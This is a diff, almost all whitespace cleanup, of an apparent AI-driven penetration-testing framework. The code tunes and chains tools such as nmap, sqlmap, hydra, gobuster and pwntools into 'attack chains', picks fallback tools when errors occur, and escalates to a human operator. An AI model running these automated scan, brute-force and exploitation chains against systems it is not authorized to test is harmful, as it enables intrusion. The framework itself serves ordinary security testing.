             return parameter_optimizer.optimize_parameters_advanced(tool, profile, context)
-        
+
         # Fallback to legacy optimization for compatibility
         optimized_params = {}
-        
+
         # Tool-specific parameter optimization
         if tool == "nmap":
             optimized_params = self._optimize_nmap_params(profile, context)
@@ -1056,40 +1056,40 @@ class IntelligentDecisionEngine:
         else:
             # Use advanced optimizer for unknown tools
             return parameter_optimizer.optimize_parameters_advanced(tool, profile, context)
-        
+
         return optimized_params
-    
+
     def enable_advanced_optimization(self):
         """Enable advanced parameter optimization"""
         self._use_advanced_optimizer = True
-    
+
     def disable_advanced_optimization(self):
         """Disable advanced parameter optimization (use legacy)"""
         self._use_advanced_optimizer = False
-    
+
     def _optimize_nmap_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Nmap parameters"""
         params = {"target": profile.target}
-        
+
         if profile.target_type == TargetType.WEB_APPLICATION:
             params["scan_type"] = "-sV -sC"
             params["ports"] = "80,443,8080,8443,8000,9000"
         elif profile.target_type == TargetType.NETWORK_HOST:
             params["scan_type"] = "-sS -O"
             params["additional_args"] = "--top-ports 1000"
-        
+
         # Adjust timing based on stealth requirements
         if context.get("stealth", False):
             params["additional_args"] = params.get("additional_args", "") + " -T2"
         else:
             params["additional_args"] = params.get("additional_args", "") + " -T4"
-        
+
         return params
-    
+
     def _optimize_gobuster_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Gobuster parameters"""
         params = {"url": profile.target, "mode": "dir"}
-        
+
         # Select wordlist based on detected technologies
         if TechnologyStack.PHP in profile.technologies:
             params["additional_args"] = "-x php,html,txt,xml"
@@ -1099,25 +1099,25 @@ class IntelligentDecisionEngine:
             params["additional_args"] = "-x jsp,html,txt,xml"
         else:
             params["additional_args"] = "-x html,php,txt,js"
-        
+
         # Adjust threads based on target type
         if context.get("aggressive", False):
             params["additional_args"] += " -t 50"
         else:
             params["additional_args"] += " -t 20"
-        
+
         return params
-    
+
     def _optimize_nuclei_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Nuclei parameters"""
         params = {"target": profile.target}
-        
+
         # Set severity based on context
         if context.get("quick", False):
             params["severity"] = "critical,high"
         else:
             params["severity"] = "critical,high,medium"
-        
+
         # Add technology-specific tags
         tags = []
         for tech in profile.technologies:
@@ -1127,16 +1127,16 @@ class IntelligentDecisionEngine:
                 tags.append("drupal")
             elif tech == TechnologyStack.JOOMLA:
                 tags.append("joomla")
-        
+
         if tags:
             params["tags"] = ",".join(tags)
-        
+
         return params
-    
+
     def _optimize_sqlmap_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize SQLMap parameters"""
         params = {"url": profile.target}
-        
+
         # Add database-specific options based on detected technologies
         if TechnologyStack.PHP in profile.technologies:
             params["additional_args"] = "--dbms=mysql --batch"
@@ -1144,35 +1144,35 @@ class IntelligentDecisionEngine:
             params["additional_args"] = "--dbms=mssql --batch"
         else:
             params["additional_args"] = "--batch"
-        
+
         # Adjust aggressiveness
         if context.get("aggressive", False):
             params["additional_args"] += " --level=3 --risk=2"
-        
+
         return params
-    
+
     def _optimize_ffuf_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize FFuf parameters"""
         params = {"url": profile.target}
-        
+
         # Set match codes based on target type
         if profile.target_type == TargetType.API_ENDPOINT:
             params["match_codes"] = "200,201,202,204,301,302,401,403"
         else:
             params["match_codes"] = "200,204,301,302,307,401,403"
-        
+
         # Adjust threads
         if context.get("stealth", False):
             params["additional_args"] = "-t 10 -p 1"
         else:
             params["additional_args"] = "-t 40"
-        
+
         return params
-    
+
     def _optimize_hydra_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Hydra parameters"""
         params = {"target": profile.target}
-        
+
         # Determine service based on open ports
         if 22 in profile.open_ports:
             params["service"] = "ssh"
@@ -1182,16 +1182,16 @@ class IntelligentDecisionEngine:
             params["service"] = "http-get"
         else:
             params["service"] = "ssh"  # Default
-        
+
         # Set conservative parameters to avoid lockouts
         params["additional_args"] = "-t 4 -w 30"
-        
+
         return params
-    
+
     def _optimize_rustscan_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Rustscan parameters"""
         params = {"target": profile.target}
-        
+
         # Adjust performance based on context
         if context.get("stealth", False):
             params["ulimit"] = 1000
@@ -1205,17 +1205,17 @@ class IntelligentDecisionEngine:
             params["ulimit"] = 5000
             params["batch_size"] = 4500
             params["timeout"] = 1500
-        
+
         # Enable scripts for comprehensive scans
         if context.get("objective", "normal") == "comprehensive":
             params["scripts"] = True
-        
+
         return params
-    
+
     def _optimize_masscan_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Masscan parameters"""
         params = {"target": profile.target}
-        
+
         # Intelligent rate limiting based on target type
         if context.get("stealth", False):
             params["rate"] = 100
@@ -1224,17 +1224,17 @@ class IntelligentDecisionEngine:
         else:
             # Default intelligent rate
             params["rate"] = 1000
-        
+
         # Enable banners for service detection
         if context.get("service_detection", True):
             params["banners"] = True
-        
+
         return params
-    
+
     def _optimize_nmap_advanced_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize advanced Nmap parameters"""
         params = {"target": profile.target}
-        
+
         # Select scan type based on context
         if context.get("stealth", False):
             params["scan_type"] = "-sS"
@@ -1249,25 +1249,25 @@ class IntelligentDecisionEngine:
             params["timing"] = "T4"
             params["os_detection"] = True
             params["version_detection"] = True
-        
+
         # Add NSE scripts based on target type
         if profile.target_type == TargetType.WEB_APPLICATION:
             params["nse_scripts"] = "http-*,ssl-*"
         elif profile.target_type == TargetType.NETWORK_HOST:
             params["nse_scripts"] = "default,discovery,safe"
-        
+
         return params
-    
+
     def _optimize_enum4linux_ng_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Enum4linux-ng parameters"""
         params = {"target": profile.target}
-        
+
         # Enable comprehensive enumeration by default
         params["shares"] = True
         params["users"] = True
         params["groups"] = True
         params["policy"] = True
-        
+
         # Add authentication if available in context
         if context.get("username"):
             params["username"] = context["username"]
@@ -1275,13 +1275,13 @@ class IntelligentDecisionEngine:
             params["password"] = context["password"]
         if context.get("domain"):
             params["domain"] = context["domain"]
-        
+
         return params
-    
+
     def _optimize_autorecon_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize AutoRecon parameters"""
         params = {"target": profile.target}
-        
+
         # Adjust scan depth based on objective
         if context.get("quick", False):
             params["port_scans"] = "top-100-ports"
@@ -1289,16 +1289,16 @@ class IntelligentDecisionEngine:
         elif context.get("comprehensive", True):
             params["port_scans"] = "top-1000-ports"
             params["timeout"] = 600
-        
+
         # Set output directory
         params["output_dir"] = f"/tmp/autorecon_{profile.target.replace('.', '_')}"
-        
+
         return params
-    
+
     def _optimize_ghidra_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Ghidra parameters"""
         params = {"binary": profile.target}
-        
+
         # Adjust analysis timeout based on context
         if context.get("quick", False):
             params["analysis_timeout"] = 120
@@ -1306,17 +1306,17 @@ class IntelligentDecisionEngine:
             params["analysis_timeout"] = 600
         else:
             params["analysis_timeout"] = 300
-        
+
         # Set project name based on binary
         binary_name = os.path.basename(profile.target).replace('.', '_')
         params["project_name"] = f"hexstrike_{binary_name}"
-        
+
         return params
-    
+
     def _optimize_pwntools_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Pwntools parameters"""
         params = {"target_binary": profile.target}
-        
+
         # Set exploit type based on context
         if context.get("remote_host") and context.get("remote_port"):
             params["exploit_type"] = "remote"
@@ -1324,13 +1324,13 @@ class IntelligentDecisionEngine:
             params["target_port"] = context["remote_port"]
         else:
             params["exploit_type"] = "local"
-        
+
         return params
-    
+
     def _optimize_ropper_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Ropper parameters"""
         params = {"binary": profile.target}
-        
+
         # Set gadget type and quality based on context
         if context.get("exploit_type") == "rop":
             params["gadget_type"] = "rop"
@@ -1341,17 +1341,17 @@ class IntelligentDecisionEngine:
         else:
             params["gadget_type"] = "all"
             params["quality"] = 2
-        
+
         # Set architecture if known
         if context.get("arch"):
             params["arch"] = context["arch"]
-        
+
         return params
-    
+
     def _optimize_angr_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize angr parameters"""
         params = {"binary": profile.target}
-        
+
         # Set analysis type based on context
         if context.get("symbolic_execution", True):
             params["analysis_type"] = "symbolic"
@@ -1359,56 +1359,56 @@ class IntelligentDecisionEngine:
             params["analysis_type"] = "cfg"
         else:
             params["analysis_type"] = "static"
-        
+
         # Add find/avoid addresses if provided
         if context.get("find_address"):
             params["find_address"] = context["find_address"]
         if context.get("avoid_addresses"):
             params["avoid_addresses"] = context["avoid_addresses"]
-        
+
         return params
-    
+
     def _optimize_prowler_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Prowler parameters"""
         params = {"provider": "aws"}
-        
+
         # Set provider based on context or target analysis
         if context.get("cloud_provider"):
             params["provider"] = context["cloud_provider"]
-        
+
         # Set profile and region
         if context.get("aws_profile"):
             params["profile"] = context["aws_profile"]
         if context.get("aws_region"):
             params["region"] = context["aws_region"]
-        
+
         # Set output format and directory
         params["output_format"] = "json"
         params["output_dir"] = f"/tmp/prowler_{params['provider']}"
-        
+
         return params
-    
+
     def _optimize_scout_suite_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Scout Suite parameters"""
         params = {"provider": "aws"}
-        
+
         # Set provider based on context
         if context.get("cloud_provider"):
             params["provider"] = context["cloud_provider"]
-        
+
         # Set profile for AWS
         if params["provider"] == "aws" and context.get("aws_profile"):
             params["profile"] = context["aws_profile"]
-        
+
         # Set report directory
         params["report_dir"] = f"/tmp/scout-suite_{params['provider']}"
-        
+
         return params
-    
+
     def _optimize_kube_hunter_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize kube-hunter parameters"""
         params = {"report": "json"}
-        
+
         # Set target based on context
         if context.get("kubernetes_target"):
             params["target"] = context["kubernetes_target"]
@@ -1416,17 +1416,17 @@ class IntelligentDecisionEngine:
             params["cidr"] = context["cidr"]
         elif context.get("interface"):
             params["interface"] = context["interface"]
-        
+
         # Enable active hunting if specified
         if context.get("active_hunting", False):
             params["active"] = True
-        
+
         return params
-    
+
     def _optimize_trivy_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Trivy parameters"""
         params = {"target": profile.target, "output_format": "json"}
-        
+
         # Determine scan type based on target
         if profile.target.startswith(('docker.io/', 'gcr.io/', 'quay.io/')) or ':' in profile.target:
             params["scan_type"] = "image"
@@ -1434,19 +1434,19 @@ class IntelligentDecisionEngine:
             params["scan_type"] = "fs"
         else:
             params["scan_type"] = "image"  # Default
-        
+
         # Set severity filter
         if context.get("severity"):
             params["severity"] = context["severity"]
         else:
             params["severity"] = "HIGH,CRITICAL"
-        
+
         return params
-    
+
     def _optimize_checkov_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]:
         """Optimize Checkov parameters"""
         params = {"directory": profile.target, "output_format": "json"}
-        
+
         # Detect framework based on files in directory
         if context.get("framework"):
             params["framework"] = context["framework"]
@@ -1456,13 +1456,13 @@ class IntelligentDecisionEngine:
                 params["framework"] = "terraform"
             elif any(f.endswith('.yaml') or f.endswith('.yml') for f in os.listdir(profile.target) if os.path.isfile(os.path.join(profile.target, f))):
                 params["framework"] = "kubernetes"
-        
+
         return params
-    
+
     def create_attack_chain(self, profile: TargetProfile, objective: str = "comprehensive") -> AttackChain:
         """Create an intelligent attack chain based on target profile"""
         chain = AttackChain(profile)
-        
+
         # Select attack pattern based on target type and objective
         if profile.target_type == TargetType.WEB_APPLICATION:
             if objective == "quick":
@@ -1502,16 +1502,16 @@ class IntelligentDecisionEngine:
                 pattern = self.attack_patterns["bug_bounty_high_impact"]
             else:
                 pattern = self.attack_patterns["web_reconnaissance"]
-        
+
         # Create attack steps
         for step_config in pattern:
             tool = step_config["tool"]
             optimized_params = self.optimize_parameters(tool, profile)
-            
+
             # Calculate success probability based on tool effectiveness
             effectiveness = self.tool_effectiveness.get(profile.target_type.value, {}).get(tool, 0.5)
             success_prob = effectiveness * profile.confidence_score
-            
+
             # Estimate execution time (simplified)
             time_estimates = {
                 "nmap": 120, "gobuster": 300, "nuclei": 180, "nikto": 240,
@@ -1524,7 +1524,7 @@ class IntelligentDecisionEngine:
                 "docker-bench-security": 180, "falco": 120, "checkov": 240, "terrascan": 200
             }
             exec_time = time_estimates.get(tool, 180)
-            
+
             step = AttackStep(
                 tool=tool,
                 parameters=optimized_params,
@@ -1532,13 +1532,13 @@ class IntelligentDecisionEngine:
                 success_probability=success_prob,
                 execution_time_estimate=exec_time
             )
-            
+
             chain.add_step(step)
-        
+
         # Calculate overall chain metrics
         chain.calculate_success_probability()
         chain.risk_level = profile.risk_level
-        
+
         return chain
 
 # Global decision engine instance
@@ -1605,7 +1605,7 @@ class RecoveryStrategy:
 
 class IntelligentErrorHandler:
     """Advanced error handling with automatic recovery strategies"""
-    
+
     def __init__(self):
         self.error_patterns = self._initialize_error_patterns()
         self.recovery_strategies = self._initialize_recovery_strategies()
@@ -1613,51 +1613,51 @@ class IntelligentErrorHandler:
         self.parameter_adjustments = self._initialize_parameter_adjustments()
         self.error_history = []
         self.max_history_size = 1000
-        
+
     def _initialize_error_patterns(self) -> Dict[str, ErrorType]:
         """Initialize error pattern recognition"""
         return {
             # Timeout patterns
             r"timeout|timed out|connection timeout|read timeout": ErrorType.TIMEOUT,
             r"operation timed out|command timeout": ErrorType.TIMEOUT,
-            
+
             # Permission patterns
             r"permission denied|access denied|forbidden|not authorized": ErrorType.PERMISSION_DENIED,
             r"sudo required|root required|insufficient privileges": ErrorType.PERMISSION_DENIED,
-            
+
             # Network patterns
             r"network unreachable|host unreachable|no route to host": ErrorType.NETWORK_UNREACHABLE,
             r"connection refused|connection reset|network error": ErrorType.NETWORK_UNREACHABLE,
-            
+
             # Rate limiting patterns
             r"rate limit|too many requests|throttled|429": ErrorType.RATE_LIMITED,
             r"request limit exceeded|quota exceeded": ErrorType.RATE_LIMITED,
-            
+
             # Tool not found patterns
             r"command not found|no such file or directory|not found": ErrorType.TOOL_NOT_FOUND,
             r"executable not found|binary not found": ErrorType.TOOL_NOT_FOUND,
-            
+
             # Parameter patterns
             r"invalid argument|invalid option|unknown option": ErrorType.INVALID_PARAMETERS,
             r"bad parameter|invalid parameter|syntax error": ErrorType.INVALID_PARAMETERS,
-            
+
             # Resource patterns
             r"out of memory|memory error|disk full|no space left": ErrorType.RESOURCE_EXHAUSTED,
             r"resource temporarily unavailable|too many open files": ErrorType.RESOURCE_EXHAUSTED,
-            
+
             # Authentication patterns
             r"authentication failed|login failed|invalid credentials": ErrorType.AUTHENTICATION_FAILED,
             r"unauthorized|invalid token|expired token": ErrorType.AUTHENTICATION_FAILED,
-            
+
             # Target patterns
             r"target unreachable|target not responding|target down": ErrorType.TARGET_UNREACHABLE,
             r"host not found|dns resolution failed": ErrorType.TARGET_UNREACHABLE,
-            
+
             # Parsing patterns
             r"parse error|parsing failed|invalid format|malformed": ErrorType.PARSING_ERROR,
             r"json decode error|xml parse error|invalid json": ErrorType.PARSING_ERROR
         }
-    
+
     def _initialize_recovery_strategies(self) -> Dict[ErrorType, List[RecoveryStrategy]]:
         """Initialize recovery strategies for different error types"""
         return {
@@ -1868,7 +1868,7 @@ class IntelligentErrorHandler:
                 )
             ]
         }
-    
+
     def _initialize_tool_alternatives(self) -> Dict[str, List[str]]:
         """Initialize alternative tools for fallback scenarios"""
         return {
@@ -1876,58 +1876,58 @@ class IntelligentErrorHandler:
             "nmap": ["rustscan", "masscan", "zmap"],
             "rustscan": ["nmap", "masscan"],
             "masscan": ["nmap", "rustscan", "zmap"],
-            
+
             # Directory/file discovery alternatives
             "gobuster": ["feroxbuster", "dirsearch", "ffuf", "dirb"],
             "feroxbuster": ["gobuster", "dirsearch", "ffuf"],
             "dirsearch": ["gobuster", "feroxbuster", "ffuf"],
             "ffuf": ["gobuster", "feroxbuster", "dirsearch"],
-            
+
             # Vulnerability scanning alternatives
             "nuclei": ["jaeles", "nikto", "w3af"],
             "jaeles": ["nuclei", "nikto"],
             "nikto": ["nuclei", "jaeles", "w3af"],
-            
+
             # Web crawling alternatives
             "katana": ["gau", "waybackurls", "hakrawler"],
             "gau": ["katana", "waybackurls", "hakrawler"],
             "waybackurls": ["gau", "katana", "hakrawler"],
-            
+
             # Parameter discovery alternatives
             "arjun": ["paramspider", "x8", "ffuf"],
             "paramspider": ["arjun", "x8"],
             "x8": ["arjun", "paramspider"],
-            
+
             # SQL injection alternatives
             "sqlmap": ["sqlninja", "jsql-injection"],
-            
+
             # XSS testing alternatives
             "dalfox": ["xsser", "xsstrike"],
-            
+
             # Subdomain enumeration alternatives
             "subfinder": ["amass", "assetfinder", "findomain"],
             "amass": ["subfinder", "assetfinder", "findomain"],
             "assetfinder": ["subfinder", "amass", "findomain"],
-            
+
             # Cloud security alternatives
             "prowler": ["scout-suite", "cloudmapper"],
             "scout-suite": ["prowler", "cloudmapper"],
-            
+
             # Container security alternatives
             "trivy": ["clair", "docker-bench-security"],
             "clair": ["trivy", "docker-bench-security"],
-            
+
             # Binary analysis alternatives
             "ghidra": ["radare2", "ida", "binary-ninja"],
             "radare2": ["ghidra", "objdump", "gdb"],
             "gdb": ["radare2", "lldb"],
-            
+
             # Exploitation alternatives
             "pwntools": ["ropper", "ropgadget"],
             "ropper": ["ropgadget", "pwntools"],
             "ropgadget": ["ropper", "pwntools"]
         }
-    
+
     def _initialize_parameter_adjustments(self) -> Dict[str, Dict[ErrorType, Dict[str, Any]]]:
         """Initialize parameter adjustments for different error types and tools"""
         return {
@@ -1957,11 +1957,11 @@ class IntelligentErrorHandler:
                 ErrorType.RESOURCE_EXHAUSTED: {"threads": "5"}
             }
         }
-    
+
     def classify_error(self, error_message: str, exception: Exception = None) -> ErrorType:
         """Classify error based on message and exception type"""
         error_text = error_message.lower()
-        
+
         # Check exception type first
         if exception:
             if isinstance(exception, TimeoutError):
@@ -1972,19 +1972,19 @@ class IntelligentErrorHandler:
                 return ErrorType.NETWORK_UNREACHABLE
             elif isinstance(exception, FileNotFoundError):
                 return ErrorType.TOOL_NOT_FOUND
-        
+
         # Check error patterns
         for pattern, error_type in self.error_patterns.items():
             if re.search(pattern, error_text, re.IGNORECASE):
                 return error_type
-        
+
         return ErrorType.UNKNOWN
-    
+
     def handle_tool_failure(self, tool: str, error: Exception, context: Dict[str, Any]) -> RecoveryStrategy:
         """Determine best recovery action for tool failures"""
         error_message = str(error)
         error_type = self.classify_error(error_message, error)
-        
+
         # Create error context
         error_context = ErrorContext(
             tool_name=tool,
@@ -1997,26 +1997,26 @@ class IntelligentErrorHandler:
             stack_trace=traceback.format_exc(),
             system_resources=self._get_system_resources()
         )
-        
+
         # Add to error history
         self._add_to_history(error_context)
-        
+
         # Get recovery strategies for this error type
         strategies = self.recovery_strategies.get(error_type, self.recovery_strategies[ErrorType.UNKNOWN])
-        
+
         # Select best strategy based on context
         best_strategy = self._select_best_strategy(strategies, error_context)
-        
+
         error_message = f'{error_type.value} - Applying {best_strategy.action.value}'
         logger.warning(f"{ModernVisualEngine.format_error_card('RECOVERY', tool, error_message)}")
-        
+
         return best_strategy
-    
+
     def _select_best_strategy(self, strategies: List[RecoveryStrategy], context: ErrorContext) -> RecoveryStrategy:
         """Select the best recovery strategy based on context"""
         # Filter strategies based on attempt count
         viable_strategies = [s for s in strategies if context.attempt_count <= s.max_attempts]
-        
+
         if not viable_strategies:
             # If all strategies exhausted, escalate to human
             return RecoveryStrategy(
@@ -2027,25 +2027,25 @@ class IntelligentErrorHandler:
                 success_probability=0.9,
                 estimated_time=300
             )
-        
+
         # Score strategies based on success probability and estimated time
         scored_strategies = []
         for strategy in viable_strategies:
             # Adjust success probability based on previous failures
             adjusted_probability = strategy.success_probability * (0.9 ** (context.attempt_count - 1))
-            
+
             # Prefer strategies with higher success probability and lower time
             score = adjusted_probability - (strategy.estimated_time / 1000.0)
             scored_strategies.append((score, strategy))
-        
+
         # Return strategy with highest score
         scored_strategies.sort(key=lambda x: x[0], reverse=True)
         return scored_strategies[0][1]
-    
+
     def auto_adjust_parameters(self, tool: str, error_type: ErrorType, original_params: Dict[str, Any]) -> Dict[str, Any]:
         """Automatically adjust tool parameters based on error patterns"""
         adjustments = self.parameter_adjustments.get(tool, {}).get(error_type, {})
-        
+
         if not adjustments:
             # Generic adjustments based on error type
             if error_type == ErrorType.TIMEOUT:
@@ -2054,23 +2054,23 @@ class IntelligentErrorHandler:
                 adjustments = {"delay": "2s", "threads": "3"}
             elif error_type == ErrorType.RESOURCE_EXHAUSTED:
                 adjustments = {"threads": "3", "memory_limit": "1G"}
-        
+
         # Apply adjustments to original parameters
         adjusted_params = original_params.copy()
         adjusted_params.update(adjustments)
-        
+
         adjustment_info = f'Parameters adjusted: {adjustments}'
         logger.info(f"{ModernVisualEngine.format_tool_status(tool, 'RECOVERY', adjustment_info)}")
-        
+
         return adjusted_params
-    
+
     def get_alternative_tool(self, failed_tool: str, context: Dict[str, Any]) -> Optional[str]:
         """Get alternative tool for failed tool"""
         alternatives = self.tool_alternatives.get(failed_tool, [])
-        
+
         if not alternatives:
             return None
-        
+
         # Filter alternatives based on context requirements
         filtered_alternatives = []
         for alt in alternatives:
@@ -2079,13 +2079,13 @@ class IntelligentErrorHandler:
             if context.get('prefer_faster_tools') and alt in ['amass', 'w3af']:
                 continue  # Skip slower tools
             filtered_alternatives.append(alt)
-        
+
         if not filtered_alternatives:
             filtered_alternatives = alternatives
-        
+
         # Return first available alternative
         return filtered_alternatives[0] if filtered_alternatives else None
-    
+
     def escalate_to_human(self, context: ErrorContext, urgency: str = "medium") -> Dict[str, Any]:
         """Escalate complex errors to human operator with full context"""
         escalation_data = {
@@ -2103,18 +2103,18 @@ class IntelligentErrorHandler:
                 "recent_errors": [e.error_message for e in context.previous_errors[-5:]]
             }
         }
-        
+
         # Log escalation with enhanced formatting
         logger.error(f"{ModernVisualEngine.format_error_card('CRITICAL', context.tool_name, context.error_message, 'HUMAN ESCALATION REQUIRED')}")
         logger.error(f"{ModernVisualEngine.format_highlighted_text('ESCALATION DETAILS', 'RED')}")
         logger.error(f"{json.dumps(escalation_data, indent=2)}")
-        
+
         return escalation_data
-    
+
     def _get_human_suggestions(self, context: ErrorContext) -> List[str]:
         """Get human-readable suggestions for error resolution"""
         suggestions = []
-        
+
         if context.error_type == ErrorType.PERMISSION_DENIED:
             suggestions.extend([
                 "Run the command with sudo privileges",
@@ -2141,9 +2141,9 @@ class IntelligentErrorHandler:
             ])
         else:
             suggestions.append("Review error details and logs")
-        
+
         return suggestions
-    
+
     def _get_system_resources(self) -> Dict[str, Any]:
         """Get current system resource information"""
         try:
@@ -2156,32 +2156,32 @@ class IntelligentErrorHandler:
             }
         except Exception:
             return {"error": "Unable to get system resources"}
-    
+
     def _add_to_history(self, error_context: ErrorContext):
         """Add error context to history"""
         self.error_history.append(error_context)
-        
+
         # Maintain history size limit
         if len(self.error_history) > self.max_history_size:
             self.error_history = self.error_history[-self.max_history_size:]
-    
+
     def get_error_statistics(self) -> Dict[str, Any]:
         """Get error statistics for monitoring"""
         if not self.error_history:
             return {"total_errors": 0}
-        
+
         error_counts = {}
         tool_errors = {}
         recent_errors = []
-        
+
         # Count errors by type and tool
         for error in self.error_history:
             error_type = error.error_type.value
             tool = error.tool_name
-            
+
             error_counts[error_type] = error_counts.get(error_type, 0) + 1
             tool_errors[tool] = tool_errors.get(tool, 0) + 1
-            
+
             # Recent errors (last hour)
             if (datetime.now() - error.timestamp).total_seconds() < 3600:
                 recent_errors.append({
@@ -2189,7 +2189,7 @@ class IntelligentErrorHandler:
                     "error_type": error_type,
                     "timestamp": error.timestamp.isoformat()
                 })
-        
+
         return {
             "total_errors": len(self.error_history),
             "error_counts_by_type": error_counts,
@@ -2200,11 +2200,11 @@ class IntelligentErrorHandler:
 
 class GracefulDegradation:
     """Ensure system continues operating even with partial tool failures"""
-    
+
     def __init__(self):
         self.fallback_chains = self._initialize_fallback_chains()
         self.critical_operations = self._initialize_critical_operations()
-        
+
     def _initialize_fallback_chains(self) -> Dict[str, List[List[str]]]:
         """Initialize fallback tool chains for critical operations"""
         return {
@@ -2234,30 +2234,30 @@ class GracefulDegradation:
                 ["manual_testing"]  # Manual parameter testing
             ]
         }
-    
+
     def _initialize_critical_operations(self) -> Set[str]:
         """Initialize set of critical operations that must not fail completely"""
         return {
             "network_discovery",
-            "web_discovery", 
+            "web_discovery",
             "vulnerability_scanning",
             "subdomain_enumeration"
         }
-    
+
     def create_fallback_chain(self, operation: str, failed_tools: List[str] = None) -> List[str]:
         """Create fallback tool chain for critical operations"""
         if failed_tools is None:
             failed_tools = []
-        
+
         chains = self.fallback_chains.get(operation, [])
-        
+
         # Find first chain that doesn't contain failed tools
         for chain in chains:
             viable_chain = [tool for tool in chain if tool not in failed_tools]
             if viable_chain:
                 logger.info(f"🔄 Fallback chain for {operation}: {viable_chain}")
                 return viable_chain
-        
+
         # If no viable chain found, return basic fallback
         basic_fallbacks = {
             "network_discovery": ["ping"],
@@ -2265,15 +2265,15 @@ class GracefulDegradation:
             "vulnerability_scanning": ["curl"],
             "subdomain_enumeration": ["dig"]
         }
-        
+
         fallback = basic_fallbacks.get(operation, ["manual_testing"])
         logger.warning(f"⚠️  Using basic fallback for {operation}: {fallback}")
         return fallback
-    
-    def handle_partial_failure(self, operation: str, partial_results: Dict[str, Any], 
+
+    def handle_partial_failure(self, operation: str, partial_results: Dict[str, Any],
                              failed_components: List[str]) -> Dict[str, Any]:
         """Handle partial results and fill gaps with alternative methods"""
-        
+
         enhanced_results = partial_results.copy()
         enhanced_results["degradation_info"] = {
             "operation": operation,
@@ -2282,36 +2282,36 @@ class GracefulDegradation:
             "fallback_applied": True,
             "timestamp": datetime.now().isoformat()
         }
-        
+
         # Try to fill gaps based on operation type
         if operation == "network_discovery" and "open_ports" not in partial_results:
             # Try basic port check if full scan failed
             enhanced_results["open_ports"] = self._basic_port_check(partial_results.get("target"))
-            
+
         elif operation == "web_discovery" and "directories" not in partial_results:
             # Try basic directory check
             enhanced_results["directories"] = self._basic_directory_check(partial_results.get("target"))
-            
+
         elif operation == "vulnerability_scanning" and "vulnerabilities" not in partial_results:
             # Provide basic security headers check
             enhanced_results["vulnerabilities"] = self._basic_security_check(partial_results.get("target"))
-        
+
         # Add recommendations for manual follow-up
         enhanced_results["manual_recommendations"] = self._get_manual_recommendations(
             operation, failed_components
         )
-        
+
         logger.info(f"🛡️  Graceful degradation applied for {operation}")
         return enhanced_results
-    
+
     def _basic_port_check(self, target: str) -> List[int]:
         """Basic port connectivity check"""
         if not target:
             return []
-        
+
         common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 993, 995]
         open_ports = []
-        
+
         for port in common_ports:
             try:
                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -2322,17 +2322,17 @@ class GracefulDegradation:
                 sock.close()
             except Exception:
                 continue
-        
+
         return open_ports
-    
+
     def _basic_directory_check(self, target: str) -> List[str]:
         """Basic directory existence check"""
         if not target:
             return []
-        
+
         common_dirs = ["/admin", "/login", "/api", "/wp-admin", "/phpmyadmin", "/robots.txt"]
         found_dirs = []
-        
+
         for directory in common_dirs:
             try:
                 url = f"{target.rstrip('/')}{directory}"
@@ -2341,20 +2341,20 @@ class GracefulDegradation:
                     found_dirs.append(directory)
             except Exception:
                 continue
-        
+
         return found_dirs
-    
+
     def _basic_security_check(self, target: str) -> List[Dict[str, Any]]:
         """Basic security headers check"""
         if not target:
             return []
-        
+
         vulnerabilities = []
-        
+
         try:
             response = requests.get(target, timeout=10)
             headers = response.headers
-            
+
             # Check for missing security headers
             security_headers = {
                 "X-Frame-Options": "Clickjacking protection missing",
@@ -2363,7 +2363,7 @@ class GracefulDegradation:
                 "Strict-Transport-Security": "HTTPS enforcement missing",
                 "Content-Security-Policy": "Content Security Policy missing"
             }
-            
+
             for header, description in security_headers.items():
                 if header not in headers:
                     vulnerabilities.append({
@@ -2372,20 +2372,20 @@ class GracefulDegradation:
                         "description": description,
                         "header": header
                     })
-        
+
         except Exception as e:
             vulnerabilities.append({
                 "type": "connection_error",
                 "severity": "info",
                 "description": f"Could not perform basic security check: {str(e)}"
             })
-        
+
         return vulnerabilities
-    
+
     def _get_manual_recommendations(self, operation: str, failed_components: List[str]) -> List[str]:
         """Get manual recommendations for failed operations"""
         recommendations = []
-        
+
         base_recommendations = {
             "network_discovery": [
                 "Manually test common ports using telnet or nc",
@@ -2408,9 +2408,9 @@ class GracefulDegradation:
                 "Perform manual DNS queries"
             ]
         }
-        
+
         recommendations.extend(base_recommendations.get(operation, []))
-        
+
         # Add specific recommendations based on failed components
         for component in failed_components:
             if component == "nmap":
@@ -2419,9 +2419,9 @@ class GracefulDegradation:
                 recommendations.append("Try manual directory browsing")
             elif component == "nuclei":
                 recommendations.append("Perform manual vulnerability testing")
-        
+
         return recommendations
-    
+
     def is_critical_operation(self, operation: str) -> bool:
         """Check if operation is critical and requires fallback"""
         return operation in self.critical_operations
@@ -2443,10 +2443,10 @@ class BugBountyTarget:
     program_type: str = "web"  # web, api, mobile, iot
